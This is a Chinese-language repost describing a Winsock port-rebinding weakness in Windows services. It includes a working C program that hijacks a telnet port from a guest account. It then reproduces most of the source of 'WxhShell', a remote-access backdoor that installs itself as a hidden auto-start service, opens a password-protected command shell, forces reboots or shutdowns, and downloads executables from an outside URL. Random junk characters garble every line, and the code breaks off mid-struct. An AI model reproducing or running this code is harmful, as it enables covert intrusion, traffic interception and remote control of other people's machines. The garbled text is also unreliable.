在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^hc&rD)_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Zgw;AY.R> B;3lF;3` saddr.sin_family = AF_INET;
s y ]k u(Y! _ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[\Ks+S &yQilyU{V bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
pZYcCc>6& {N \ri{| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9(\eL9^ `YK2hr 这意味着什么?意味着可以进行如下的攻击:
j/oM^IY &V.\Svm8] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.[@TC@W }k`-n32)| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
l[MP|m# ~ _!lx 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|#&{`3$CG[ QM"\;l?? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
/uh?F D.Q9fa&P 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!vaS fL*] p}b:(QN~m 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
015
;'V#we dTE(+M-
Gr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\o&\r)FX ,C=Lu9 #include
sULCYiT|Hn #include
:jJ;&t^^ #include
.IO_&^ #include
k2"DFXsv DWORD WINAPI ClientThread(LPVOID lpParam);
c]eDTbXd int main()
!4"!PrZDB {
S\,~6]^T WORD wVersionRequested;
0ESxsba DWORD ret;
e%Sw(=a WSADATA wsaData;
Q)n6.%V/e BOOL val;
P0Q]Ds| SOCKADDR_IN saddr;
JlM0]__v SOCKADDR_IN scaddr;
.nN>Ipv int err;
^B>BA SOCKET s;
4TPAD)C SOCKET sc;
e[Tu.$f-
int caddsize;
lj U|9|v HANDLE mt;
ja<!_^h=At DWORD tid;
5i<E AKL wVersionRequested = MAKEWORD( 2, 2 );
p#]D-?CM) err = WSAStartup( wVersionRequested, &wsaData );
!XJvhsKX y if ( err != 0 ) {
g`2DJi&) printf("error!WSAStartup failed!\n");
l/wdu( return -1;
E1=WH-iA0 }
tK|jh saddr.sin_family = AF_INET;
oHW:s96e o'Uaz*-po //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_3;vir%) Epl\( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
DCv=*=6w saddr.sin_port = htons(23);
|4slG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
LNA5!E {
SY[7<BUZ printf("error!socket failed!\n");
;$VQRXq return -1;
SZ;Is,VgU4 }
0LjF$3GpZ val = TRUE;
g }%$VUSA //SO_REUSEADDR选项就是可以实现端口重绑定的
nn1T5; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
bm</qF'T6 {
(3_m[N\F printf("error!setsockopt failed!\n");
b_'VWd:am return -1;
[110[i^ }
Bb~Q]V=x; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
h@^d
Vg //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
; qQ* p //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^#V7\;v$G cLZaQsS% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
~!PaBS3A {
Xcy Xju#"p ret=GetLastError();
c=^A3[AM printf("error!bind failed!\n");
[}GPo0GY return -1;
[!<W{ ($5 }
M9t`w-@_w listen(s,2);
/^2&@P7 while(1)
wT taj08D {
)zKZ<;#y caddsize = sizeof(scaddr);
4P>4d + //接受连接请求
Dh4EP/=z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
1 m>x5Dbk! if(sc!=INVALID_SOCKET)
68!W~%?pR {
# },4m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
kT=KxS{ if(mt==NULL)
R)>F*GsR {
?}n\&|+ printf("Thread Creat Failed!\n");
&nRbI:R break;
qgk-[zW# }
=!~6RwwwY }
odm!}stus CloseHandle(mt);
8+?|4'\` }
>U.f`24 closesocket(s);
w]%|^: WSACleanup();
U#X6KRZ~g return 0;
G2,9$8qE }
HQ7 DWORD WINAPI ClientThread(LPVOID lpParam)
wH<'*>/ {
A_ftf7, SOCKET ss = (SOCKET)lpParam;
-(Z%?]+ SOCKET sc;
3jJd)C R unsigned char buf[4096];
/Cl=;^) SOCKADDR_IN saddr;
pO10L`| long num;
d~>d\K%v DWORD val;
^@4$O|3Wh' DWORD ret;
H[u[3 //如果是隐藏端口应用的话,可以在此处加一些判断
@ uF$m/g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
x+%(z8wD saddr.sin_family = AF_INET;
l)d(N7HME saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$3BH82 saddr.sin_port = htons(23);
p
bT sn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?kF_C,k/>N {
m,qMRcDF printf("error!socket failed!\n");
0&W*U{0F\ return -1;
e*Y>+*2y }
)M:pg% val = 100;
zDD1EycH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F.DRGi.i {
(c'kZ9& ret = GetLastError();
T``O!>J return -1;
v=Y)
A ? }
Ln4zy*v{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'A#bBn,| {
(H*EZ ret = GetLastError();
d*===~ return -1;
6z-&Zu7@ }
>}p'E9J?r if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4Gsbcl{ {
5R UhrE printf("error!socket connect failed!\n");
5TB==Fj ? closesocket(sc);
c[6=& closesocket(ss);
Rr!oT?6J? return -1;
Pi!3wy }
DEFh&n while(1)
zg[.Pws:E {
M#5*gWfq9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?!{nN J //如果是嗅探内容的话,可以再此处进行内容分析和记录
mD]^a;U[X //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
8euh]+ num = recv(ss,buf,4096,0);
O\5q_>] if(num>0)
?04$1n: send(sc,buf,num,0);
EYaX@|) else if(num==0)
L*'3f~@Q break;
8YLS/dN0 w num = recv(sc,buf,4096,0);
/5s,<
0Kz if(num>0)
7XDze(O5 send(ss,buf,num,0);
ZQ_&HmgRy else if(num==0)
vrr`^UB2 break;
@8$3Q,fF( }
(e~vrSk+)~ closesocket(ss);
o<f#Zi closesocket(sc);
~Bi{k'A9 return 0 ;
MB#KLTwnT }
A:JWUx C>0='@LB@r 'C")X ==========================================================
n?EL\B @XSxoUF\ 下边附上一个代码,,WXhSHELL
K]0K/~>8 )h&*b9[B= ==========================================================
/qeSR3WC 0D=7Mef #include "stdafx.h"
a+_F^ M?FbBJ`sF #include <stdio.h>
`BGU #include <string.h>
a=%QckR* #include <windows.h>
n~e#Y<IP\1 #include <winsock2.h>
:{tj5P!S
#include <winsvc.h>
(r!d4 #include <urlmon.h>
NU#rv%p ;<~lzfs
#pragma comment (lib, "Ws2_32.lib")
B;6N.X(K #pragma comment (lib, "urlmon.lib")
@?gN
&Z)I iJsa;|2/ #define MAX_USER 100 // 最大客户端连接数
^;xO-;q #define BUF_SOCK 200 // sock buffer
(46S^* #define KEY_BUFF 255 // 输入 buffer
|-'.\)7: 1 xu2$x.b #define REBOOT 0 // 重启
&qP@WFl #define SHUTDOWN 1 // 关机
t&^cYPRfY' :
~R:[T2P #define DEF_PORT 5000 // 监听端口
y9@DlK ,x.2kb #define REG_LEN 16 // 注册表键长度
`& (Fy #define SVC_LEN 80 // NT服务名长度
NW=tZV Q<X uJX(s6["= // 从dll定义API
tc%0yr9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Zt7Gf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|:{H4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Pp9nilb_( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Hc"FW5R (qQ|s@O // wxhshell配置信息
FhyA_U%/nF struct WSCFG {
5(}Qg9% int ws_port; // 监听端口
A!\-e*+W= char ws_passstr[REG_LEN]; // 口令
K7
N)VG int ws_autoins; // 安装标记, 1=yes 0=no
i)[8dv char ws_regname[REG_LEN]; // 注册表键名
zV<vwIUrr char ws_svcname[REG_LEN]; // 服务名
Dqu][~oQ char ws_svcdisp[SVC_LEN]; // 服务显示名
LmA I vEr char ws_svcdesc[SVC_LEN]; // 服务描述信息
1X45~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
SA'c}gP int ws_downexe; // 下载执行标记, 1=yes 0=no
oO8opS7F char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.^}
vDA char ws_filenam[SVC_LEN]; // 下载后保存的文件名
::Nhs/B/ 7Hm/g };
"k%B;!We) 9"TPAywd // default Wxhshell configuration
3"pl="[* struct WSCFG wscfg={DEF_PORT,
TiF2c#Q*y "xuhuanlingzhe",
;&9A
Yh. 1,
&\_cU?0d "Wxhshell",
?7:?OX "Wxhshell",
8pQ:B/3= "WxhShell Service",
#!n"),3 "Wrsky Windows CmdShell Service",
+ mqz)-x "Please Input Your Password: ",
O@gHx! L 1,
ZGHh!Ds; "
http://www.wrsky.com/wxhshell.exe",
w'-J24>= "Wxhshell.exe"
\XUG-\$p };
*Pmk1h2 '/@]V // 消息定义模块
.-(s`2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1~x=bphS char *msg_ws_prompt="\n\r? for help\n\r#>";
5%5z@Ka char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@}^eyS$|! char *msg_ws_ext="\n\rExit.";
TP5?%SlJ char *msg_ws_end="\n\rQuit.";
~{O9dEI char *msg_ws_boot="\n\rReboot...";
O [81nlhS0 char *msg_ws_poff="\n\rShutdown...";
Q.N, Q`P char *msg_ws_down="\n\rSave to ";
YVEin1] \s[/{3 char *msg_ws_err="\n\rErr!";
$7 08\! char *msg_ws_ok="\n\rOK!";
`PY>p!E ZMVQo-= char ExeFile[MAX_PATH];
o@d+<6Um int nUser = 0;
[9O,C-Mk HANDLE handles[MAX_USER];
3V"y|q int OsIsNt;
o5 fXe}pl@ `iiZ SERVICE_STATUS serviceStatus;
rLfhm
Ds%u SERVICE_STATUS_HANDLE hServiceStatusHandle;
eZr}xo@9 l*yh(3~} // 函数声明
V(Dn!Nz int Install(void);
>;;tX3( int Uninstall(void);
_c W(R,i int DownloadFile(char *sURL, SOCKET wsh);
Yp_R+a^ int Boot(int flag);
9b0M'x'W5 void HideProc(void);
P 3CzX48^ int GetOsVer(void);
$)5-}NJf' int Wxhshell(SOCKET wsl);
5G-}'-R void TalkWithClient(void *cs);
!Hk$ t int CmdShell(SOCKET sock);
LcA~ a<_ int StartFromService(void);
}#rdMh int StartWxhshell(LPSTR lpCmdLine);
9_6.%qj& \G}$+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
DB^"iof VOID WINAPI NTServiceHandler( DWORD fdwControl );
V`n;W6Q17 -UPlQL // 数据结构和表定义
LQnkpy3A SERVICE_TABLE_ENTRY DispatchTable[] =
Ifc}=:nr {
l{{wrU` {wscfg.ws_svcname, NTServiceMain},
SnhB$DG {NULL, NULL}
RRNoX} };
;bZIj`D( /cy'% .! // 自我安装
iuX82z` int Install(void)
-%U 15W; {
% 1+\N char svExeFile[MAX_PATH];
.o2]ndT/J HKEY key;
[;Q8xvVZ' strcpy(svExeFile,ExeFile);
8"#Ix1# mh#dnxeR // 如果是win9x系统,修改注册表设为自启动
KXgC]IO~ if(!OsIsNt) {
bs%lMa.o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q]\bJV^/U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2g6G\F RegCloseKey(key);
fCMH<}w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*hT1_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6PS #Zydb RegCloseKey(key);
Ua@rp3fr return 0;
e$E~@{[1) }
(X
rrnoz }
~9:ILCfX }
h9McC 3 else {
Qr/8kWa0C l
@hXQ/ // 如果是NT以上系统,安装为系统服务
fC2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\k=.w if (schSCManager!=0)
&~u=vuX {
7I6bZ;}d SC_HANDLE schService = CreateService
uF!3a$4] (
,6zH;fi schSCManager,
y=H^U. wscfg.ws_svcname,
!*0\Yi,6 wscfg.ws_svcdisp,
R?Dbv'lp> SERVICE_ALL_ACCESS,
~ E)[!y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
K8`M~P. SERVICE_AUTO_START,
LWB"}#vt SERVICE_ERROR_NORMAL,
G36}4 svExeFile,
5pBQ~m3 NULL,
<(]e/} NULL,
w>IYrSaa> NULL,
e#YQA NULL,
_l&`*
2d NULL
UXXN\D );
uhuwQS=X if (schService!=0)
ZD9UE3- {
>A$J5B>d CloseServiceHandle(schService);
W |]24 CloseServiceHandle(schSCManager);
!OJ@
=y`i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,t+5(qi strcat(svExeFile,wscfg.ws_svcname);
|k wkikGQS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
y&0&K4aa RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
uA?_\z? RegCloseKey(key);
#rZk&q return 0;
\(a9rZ9 }
fq){?hk~O }
OXC7
m CloseServiceHandle(schSCManager);
G\\zk }
}mjJglK!N }
.(Gq9m[~8H o0~+%& return 1;
J~5VL |ca }
K_iy^|0)5] !af35WF // 自我卸载
B)F2SK<@ int Uninstall(void)
+w-UK[p {
v^aARIg HKEY key;
8c m,G OCzWP, if(!OsIsNt) {
&(fB+VNrOH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.,:700n+^ RegDeleteValue(key,wscfg.ws_regname);
&z-f,`yG RegCloseKey(key);
b9[KdVsT6^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[_jTy;E RegDeleteValue(key,wscfg.ws_regname);
TqNEU<S/t RegCloseKey(key);
%C=
{\]-2~ return 0;
wSp1ChS k }
"`DCXn#mB }
f[n#Eu} }
Y8I$JBO else {
WV5gH*uUa ex8mA6g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=|n NC if (schSCManager!=0)
DT # 1*&- {
VVdgNT|}W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W"fdK_F\ if (schService!=0)
)-824?Nl: {
NIDK:qdR if(DeleteService(schService)!=0) {
+[9~ta|j CloseServiceHandle(schService);
H&65X CloseServiceHandle(schSCManager);
. `lcxC return 0;
=6t)-53 }
:K& CloseServiceHandle(schService);
E[J7FgU)<S }
tr2@{xb CloseServiceHandle(schSCManager);
22L#\qVkl }
XF1x*zc }
0X\,!FL >2gemTy return 1;
8jxgSB", }
dOq*W<% w\pD'1e // 从指定url下载文件
QQKvy0?1 int DownloadFile(char *sURL, SOCKET wsh)
aWVJx@f {
JBdZ] HRESULT hr;
0@E[IDmp char seps[]= "/";
\GeUX<Fl char *token;
GEq?^z~i char *file;
8=Di+r char myURL[MAX_PATH];
@`U78)] char myFILE[MAX_PATH];
%@L(A1"#D lhAwTOn`Q strcpy(myURL,sURL);
lY_E=K] token=strtok(myURL,seps);
*k'oP~:fT while(token!=NULL)
MpM-xz~ {
"A^9WhUpJ file=token;
Tn[DF9;? token=strtok(NULL,seps);
qFmvc }
A'qJke= bL+Hw6; GetCurrentDirectory(MAX_PATH,myFILE);
4E:HO\ strcat(myFILE, "\\");
]yN]^%PYH strcat(myFILE, file);
F#@Mf?#2
send(wsh,myFILE,strlen(myFILE),0);
OWCd$c_( send(wsh,"...",3,0);
%FGPsHH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F ]\4< if(hr==S_OK)
.eW}@1+[; return 0;
ecA[ else
FsZF>vaV return 1;
G*e/Ft.wf8 `9eE139V=' }
\1f$]oS .l5y!? // 系统电源模块
_ Onsfv int Boot(int flag)
aYe,5dK> {
pL>Q'{7s3 HANDLE hToken;
,;C92XY TOKEN_PRIVILEGES tkp;
y}ez js E0}`+x if(OsIsNt) {
[i.2lt#] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
W,YzD&f=uS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}4Lv-9s, tkp.PrivilegeCount = 1;
L #p-AK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{) 4D1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
qev1bBW if(flag==REBOOT) {
2t\a/QE)E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3> -/sii return 0;
|)i-c`x }
Y1txI else {
WA~|:S+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`DO`c>>K return 0;
7Q} P}9n }
#\iQ`Q<B }
u&".kk else {
|vA3+kG if(flag==REBOOT) {
Bm"jf] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+60zJ4 return 0;
&fq-U5zH }
Skl1%` else {
N%/Qc hu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
aB-*l
%x return 0;
:x]gTZ? }
+bI &0` }
;%odN
d 3zY"9KUN return 1;
pq+Gsu1^ }
md_aD VR2BdfKU, // win9x进程隐藏模块
,\4@Ao void HideProc(void)
WZdA<<,:o {
8(q4D K\5u ,*a8]L HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{ ;);E if ( hKernel != NULL )
SQWwxFJ {
EU
TTeFp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
k
uU,7<o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,d<wEB?\` FreeLibrary(hKernel);
#JeZA0r5 }
oHB51< } `;*%5WD% return;
yPn5l/pDDr }
%#2[3N{ J:)Q)MT24: // 获取操作系统版本
-7TT6+H) int GetOsVer(void)
lMB^/-Y {
e(x1w&8dB OSVERSIONINFO winfo;
/cexd_l|f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GKH7Xx( GetVersionEx(&winfo);
F N;X"it. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Erl"X}P return 1;
ny'~pT'00 else
.@JXV
$Z return 0;
_
mhP:O }
U:c!9uhp G9:[W"P // 客户端句柄模块
prb;q~ int Wxhshell(SOCKET wsl)
20d[\P(. {
lLxKC7b SOCKET wsh;
cgc|G struct sockaddr_in client;
~EW
(2B{u DWORD myID;
+ B%fp* fOm=#:O while(nUser<MAX_USER)
&9, 6<bToP {
{$bAs9L int nSize=sizeof(client);
(ScL C wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Xgn^)+V: if(wsh==INVALID_SOCKET) return 1;
w'~f Z* "X's>uM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>e($T!}Z if(handles[nUser]==0)
:g}WN closesocket(wsh);
Ti#2D3 else
,E$^i~OO nUser++;
X_Is#&6; }
&48wa^d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
x,@cU}D Jj*XnL* return 0;
,;y5Mu8 }
{[61LQ6V9 UMpC2)5 // 关闭 socket
)i0\U void CloseIt(SOCKET wsh)
Ra&HzK? {
`n
Y!nh6! closesocket(wsh);
eEb(TG~,Y nUser--;
c>:}~.~T ExitThread(0);
1,T8@8# }
R#1h.8 y+_GL=J // 客户端请求句柄
tcSn`+Bu_` void TalkWithClient(void *cs)
h<4WY#Y {
SWY?0Pu QB'-`GwL SOCKET wsh=(SOCKET)cs;
b4Zkj2L char pwd[SVC_LEN];
HY~\e|o char cmd[KEY_BUFF];
dMCV
!$ char chr[1];
5Z]`n int i,j;
I{;s.2 q62TYg} while (nUser < MAX_USER) {
79n,bb5 4gG&u33RrE if(wscfg.ws_passstr) {
GQ[:vX` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
36@)a5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`S2YBKz,1 //ZeroMemory(pwd,KEY_BUFF);
I5wf|wB- i=0;
|t1D8){! while(i<SVC_LEN) {
~=aGv%vX
Q 6{2@ // 设置超时
eA$9)K1GO fd_set FdRead;
J~V`"uo struct timeval TimeOut;
e57}.pF^ FD_ZERO(&FdRead);
IfF<8~~E FD_SET(wsh,&FdRead);
h2`W~g_ TimeOut.tv_sec=8;
yP :>vFd7 TimeOut.tv_usec=0;
~!E%GCyFy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
fa8vY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4pJOJ!? &q#$SU,$( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
lfOF]Kiqr pwd
=chr[0]; 5]:fkx
if(chr[0]==0xd || chr[0]==0xa) { D06'"
pwd=0; @C0{m7q
break; ((7~o?Vbg
} AmM^&
i++; 6 KP
} ^SpD) O{
WpP8J1KN[
// 如果是非法用户,关闭 socket 8b8ui
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); { .B^
} bqJL@!T
y-cRqIM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^DS9D:oE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h$)!eSu
6k%N\!_TUW
while(1) { TW(rK&
W @Y$!V<
ZeroMemory(cmd,KEY_BUFF); \S[:
j/TsHJ=
// 自动支持客户端 telnet标准 -MbnYs)
j=0; hzg&OW=:
while(j<KEY_BUFF) { "G)-:!H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nmn$$=~)
cmd[j]=chr[0]; w}zl=w{G
if(chr[0]==0xa || chr[0]==0xd) { Bcg\p}
cmd[j]=0; '!]ry<
break; oL1m<cQo9
} eh2 w7@7Q
j++; ,DqI> vx|
} n,hHh=.Fu
{xi$'r
// 下载文件 pa N )t
if(strstr(cmd,"http://")) { 1Cki}$k@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]sE~gro
if(DownloadFile(cmd,wsh)) (NyS2`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,
?WTX
else ZMids"Xdf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DPw"UY:
} w6+X{
else { \CM/KrCR
Ytm t+9
switch(cmd[0]) { o/@.*Rj>Bg
iIA5ylf{E
// 帮助 dms R>Q
case '?': { ..UmbJJ.u
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tu#VZAPW@
break; sn
'#]yM
} +v2Fr}
// 安装 dy-m9fc6%
case 'i': { &, hhH_W
if(Install()) 5&D)W>{d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q+.DZ
@
else rY4{,4V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !e*Q2H+
break; Pni
} t%Vc1H2}
// 卸载 U2\g
Kg[-Q
case 'r': { ;Xk-hhR
if(Uninstall()) b?jRA^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /)ps_gM
else Z@>hN%{d+g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wASgdGoy
break; kzny4v[y
} ?wt%e;
// 显示 wxhshell 所在路径 $YSAD\a<
case 'p': { )WF]v"t
char svExeFile[MAX_PATH]; r"d/9
strcpy(svExeFile,"\n\r"); [wWip1OR
strcat(svExeFile,ExeFile); P95U{
send(wsh,svExeFile,strlen(svExeFile),0); 2>Hl=bX
break; =hxj B*")
} ;XNe:g.CR
// 重启 +[:"$?J
case 'b': { dnTB$8&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #56}RV1
if(Boot(REBOOT)) Eqc&iS~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TCYjj:/
else { -lV]((I&
closesocket(wsh); ``kiAKMy
ExitThread(0); h}k)7
} Eo
5p-
break; f=]+\0MQ
} Pc#8~t}2
// 关机 Ox7v*[x'
case 'd': { "aIiW VQ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x9k(mn%,
if(Boot(SHUTDOWN)) _p <W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NNLZ38BV7
else { :0|]cHm
closesocket(wsh); )8VrGg?
ExitThread(0); U??P
} 3}e-qFlV8,
break; CG*eo!Nw
} 3B!lE(r%J
// 获取shell Cx2s5vJX4p
case 's': { {G&*\5W
CmdShell(wsh); $"1Unu&P
closesocket(wsh); Aw9se"d
ExitThread(0); =)5O(h
break; ((&_m9a
} 9g3e( z@
// 退出 zs|R#?a=
case 'x': { k ,wr6>'Vt
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !`"@!
CloseIt(wsh); OFJ49X
break; Kq#\P
} >a7OE=K
// 离开 8dgI&t
case 'q': { /?uA{/8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ss6mN;&D
closesocket(wsh); ;U=IbK*
WSACleanup(); Bd jo3eX
exit(1); *@/1]W
break; piKYO+;W'
} &oI;^|
} L;N)l2m.\
} Q%)da)0:c
cK4Q! l6O
// 提示信息 r'0IAJ-;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rDFDrviW_
} Y5?*=eM
} is}6cR
T9w;4XF
return; eH,r%r,
} xj`ni G
.|W0B+Z8
// shell模块句柄 &x6Z=|Ers
int CmdShell(SOCKET sock) >a/]8A
{ ~R^~?Y%+<
STARTUPINFO si; tmT/4Ia
ZeroMemory(&si,sizeof(si)); C#{s[l \]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HwfBbWHr'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1bjhEOW
PROCESS_INFORMATION ProcessInfo; "P.H
char cmdline[]="cmd"; Z Ear~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {=mf/3.r
return 0; 9n4vuBgv
} Lt`d
{s
uc;1{[5`1q
// 自身启动模式 \GhL{Awv&a
int StartFromService(void) h0}r#L
{ 4UwXrEQp
typedef struct u~SvR~OE
{ Wy1#K)LRb
DWORD ExitStatus; &Ui*w%
DWORD PebBaseAddress; IxN0m7
DWORD AffinityMask; 7|Z=#3INw
DWORD BasePriority; >%Rb}Ki4
ULONG UniqueProcessId; )H=}bqn
ULONG InheritedFromUniqueProcessId; 8T"C]
